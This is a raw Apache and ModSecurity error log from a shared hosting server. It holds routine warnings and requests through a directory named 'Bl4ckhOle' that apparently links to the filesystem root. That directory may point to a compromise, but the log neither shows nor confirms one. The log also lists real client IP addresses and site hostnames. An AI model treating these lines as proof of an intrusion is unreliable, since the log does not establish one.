[Fri Jul 17 09:30:40.076090 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/swapfile
[Fri Jul 17 09:30:40.258645 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.442127 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.535742 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.625218 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.717633 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.840329 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.840396 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.873714 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.884411 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.884497 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.884560 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.884700 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.901265 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.901347 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.901427 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.901461 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.901527 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.901568 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.901607 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.901675 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.901730 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.901773 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.930502 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:40.990404 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.082146 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.193129 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.264298 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.357148 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.539412 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.539494 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.539544 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.539615 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.539649 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.539682 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.539730 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.539767 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.539788 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.539846 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.539885 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.539953 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.540009 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.540032 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.540090 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.540128 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.540162 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:41.814010 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:42.078274 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:42.275166 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:42.367363 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:42.557294 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:42.922450 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:43.196150 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:43.659699 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:43.858971 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:44.026743 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:44.225208 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:48.672855 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.63:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory68/subsystem/devices/memory94/node0/memory5/node0/memory43/node0/"] [unique_id "almo8A5GPQ6hs4VrfMpIigAAAAY"]
[Fri Jul 17 09:30:48.672998 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.63:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory68/subsystem/devices/memory94/node0/memory5/node0/memory43/node0/"] [unique_id "almo8A5GPQ6hs4VrfMpIigAAAAY"]
[Fri Jul 17 09:30:49.339994 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 57.141.18.29:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory68/node0/memory111/node0/memory59/node0/compact
[Fri Jul 17 09:30:49.908140 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:33970] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:50.119731 2026] [security2:error] [pid 2013829:tid 2013829] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almo8Q7FYe46zHK_jL3WQAAAABk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1163&page_105=1072
[Fri Jul 17 09:30:50.119765 2026] [security2:error] [pid 2013829:tid 2013829] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almo8Q7FYe46zHK_jL3WQAAAABk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1163&page_105=1072
[Fri Jul 17 09:30:50.252659 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:50.514750 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:51.698699 2026] [security2:error] [pid 2029579:tid 2029579] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almo8yRF0UOO1RzB5_80rgAAAA4"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:30:51.698728 2026] [security2:error] [pid 2029579:tid 2029579] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almo8yRF0UOO1RzB5_80rgAAAA4"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:30:52.155430 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:40198] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:52.952693 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:53.476431 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almo9Y-0g_VSPeIeFN3G1gAAAAs"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:30:53.476487 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almo9Y-0g_VSPeIeFN3G1gAAAAs"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:30:54.465979 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:55.291075 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:55.488168 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:40340] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:56.614462 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:57.218126 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:40440] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:58.104262 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:40480] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:02.432748 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:02.526922 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 57.141.18.60:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory141/node0/memory52/node0/memory105/node0/memory47/subsystem/drivers_probe
[Fri Jul 17 09:31:02.678959 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:04.318294 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:44264] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:04.734091 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:44282] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:05.062640 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:06.502899 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:44410] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:10.113991 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:44564] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:10.387591 2026] [rewrite:error] [pid 2028246:tid 2028246] [client 144.76.19.75:0] AH10411: Rewritten query string contains control characters or spaces
[Fri Jul 17 09:31:10.907805 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:44610] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:10.907952 2026] [security2:error] [pid 2030774:tid 2030774] [client 57.141.18.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory3/node0/memory114/node0/memory105/node0/memory94/state"] [unique_id "almpBhHlOGcokz2QIwTZygAAAAM"]
[Fri Jul 17 09:31:10.907982 2026] [security2:error] [pid 2030774:tid 2030774] [client 57.141.18.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory3/node0/memory114/node0/memory105/node0/memory94/state"] [unique_id "almpBhHlOGcokz2QIwTZygAAAAM"]
[Fri Jul 17 09:31:12.270552 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:46342] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:13.545279 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:14.287559 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:46522] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:14.348852 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:46546] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:16.043950 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 57.141.18.2:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory72/node0/memory21/node0/cpu3/crash_notes_size
[Fri Jul 17 09:31:20.094136 2026] [security2:error] [pid 2034024:tid 2034024] [client 173.252.69.8:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/hspices-global": Permission denied [hostname "6hspices.com"] [uri "/index.php"] [unique_id "almpDY-0g_VSPeIeFN3G5wAAAAs"]
[Fri Jul 17 09:31:20.094285 2026] [security2:error] [pid 2034024:tid 2034024] [client 173.252.69.8:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/hspices-ip": Permission denied [hostname "6hspices.com"] [uri "/index.php"] [unique_id "almpDY-0g_VSPeIeFN3G5wAAAAs"]
[Fri Jul 17 09:31:21.068562 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:46882] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:22.172085 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:57358] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:23.064222 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:57418] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:23.160416 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:57424] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:23.767136 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:57460] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:26.140862 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:57592] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:28.077948 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:57646] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:28.081554 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:28.674138 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/anandaV3/index.html"] [unique_id "almpGCRF0UOO1RzB5_80wQAAAA4"]
[Fri Jul 17 09:31:28.674491 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/anandaV3/index.html"] [unique_id "almpGCRF0UOO1RzB5_80wQAAAA4"]
[Fri Jul 17 09:31:28.720101 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/anandaV3/index.html"] [unique_id "almpGCRF0UOO1RzB5_80wQAAAA4"]
[Fri Jul 17 09:31:29.669135 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.230:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "v-deploy.com"] [uri "/movies-before-and-after-special-effects-vfxtop-7-hollywood-movies-that-pushed-vfx-to-another-level-and-one-of-the-reasons-for-that-is-the-amazing-use-of-technology-in-modern-day-films-you-might-al/feed/"] [unique_id "almpGY1dLClkUfK_dfHrEAAAAAI"]
[Fri Jul 17 09:31:29.669652 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.230:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "v-deploy.com"] [uri "/movies-before-and-after-special-effects-vfxtop-7-hollywood-movies-that-pushed-vfx-to-another-level-and-one-of-the-reasons-for-that-is-the-amazing-use-of-technology-in-modern-day-films-you-might-al/feed/"] [unique_id "almpGY1dLClkUfK_dfHrEAAAAAI"]
[Fri Jul 17 09:31:29.918361 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:57750] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:30.148613 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:57762] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:30.148809 2026] [security2:error] [pid 2047046:tid 2047046] [client 57.141.18.36:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory137/node0/memory9/node0/memory7/power/control"] [unique_id "almpGk_0b3nWp8txtSDDhwAAAA0"]
[Fri Jul 17 09:31:30.148834 2026] [security2:error] [pid 2047046:tid 2047046] [client 57.141.18.36:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory137/node0/memory9/node0/memory7/power/control"] [unique_id "almpGk_0b3nWp8txtSDDhwAAAA0"]
[Fri Jul 17 09:31:30.971781 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.230:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "v-deploy.com"] [uri "/index.php"] [unique_id "almpGY1dLClkUfK_dfHrEAAAAAI"]
[Fri Jul 17 09:31:32.426427 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:50528] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:33.048700 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:50532] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:33.072513 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:33.332555 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:33.590136 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:50552] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:34.031544 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:34.091862 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:50574] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:34.139180 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:34.149408 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:34.257326 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:34.320760 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:34.411650 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:34.502257 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:34.617362 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:34.685489 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:34.792073 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:34.866642 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:35.057004 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:35.073272 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:50638] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:35.147985 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:35.237180 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:35.337380 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
